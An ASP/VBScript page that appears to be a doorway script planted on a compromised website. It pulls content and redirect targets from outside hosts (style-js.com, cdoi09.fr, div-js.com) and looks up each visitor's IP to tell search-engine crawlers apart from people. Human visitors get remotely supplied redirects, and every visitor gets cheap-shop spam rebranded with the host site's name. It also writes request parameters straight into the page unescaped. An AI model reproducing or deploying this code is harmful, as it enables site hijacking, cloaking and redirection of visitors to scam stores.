<%
Function getHTTPPage(url)
On Error Resume Next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then
Response.Write "
"
Response.end
Err.Clear
End If
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Randomize
%>
<%
Dim Url,Html,hyzhdy,kname
hyzhdy="http://jb2img.style-js.com/JDNEW.aspx"
if request("iid")<>"" then
kname =getHTTPPage("http://jb2img.style-js.com/gn.aspx?iid="&request("iid"))
end if
if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")
end if
ipurl="http://cdoi09.fr/getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if(instr(domain,"google")=0 and instr(domain,"msn.com")=0 and instr(domain,"yahoo.com")=0 and instr(domain,"aol.com")=0) then
if request("iid")<>"" then
ddd=getHTTPPage("http://tz.div-js.com/xtz2.txt")
ddd=ddd&"?cid=4&cname="&Server.URLEncode(kname)
Response.write ""
end if
if request("searchtxt")<>"" then
ddd=getHTTPPage("http://tz.div-js.com/xtz2.txt")
ddd=ddd&"?cid=4&cname="&Server.URLEncode(request("searchtxt"))
Response.write ""
end if
if request("pnum")<>"" then
ddd=getHTTPPage("http://tz.div-js.com/xtz2.txt")
ddd=Replace(ddd, "Products.aspx", "")
ddd=ddd&"?cid=4"
Response.write ""
end if
end if
%>
<%=kname%><%=request("searchtxt")%> shop clearance - discount online store <%=request("pnum")%>
"/>
> OFF -<%=INT((65-50+1)*RND+50)%>% Over 9 Million Different Products and Best Online Shopping Deals Right Now on the things you buy every day. " />
<%
if request("type")<>"" then
if(request("type")="search") then
URL=hyzhdy&"?cid=4&searchtxt="&request("searchtxt")
con=getHTTPPage(URL)
If Request.ServerVariables("HTTPS")="off" Then
con=Replace(con, "UUUUU", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
else
con=Replace(con, "UUUUU", "https://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
end if
end if
else
if request("iid")<>"" then
URL=hyzhdy&"?iid="&request("iid")&"&mt=http://tz.div-js.com/en/enm.txt"
else
URL=hyzhdy&"?cid=4&pnum="&request("pnum")
end if
con=getHTTPPage(URL)
If Request.ServerVariables("HTTPS")="off" Then
con=Replace(con, "UUUUU", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
else
con=Replace(con, "UUUUU", "https://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME"))
end if
con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST"))
con=Replace(con, "NNNNN", "Best Cheap Online Shopping Site")
con=Replace(con, "SSSSS", "Welcome to our website. Everyday items, like Health & Beauty, Groceries, Electronics, Clothing, Toys, Home & Garden, Seasonal and more!")
con=Replace(con, "DDDDD", "Best Cheap Online Shopping Site - Our website to browse millions of cost-efficient products with high quality that make your shopping fun and rewarding.")
end if
Response.write con
%>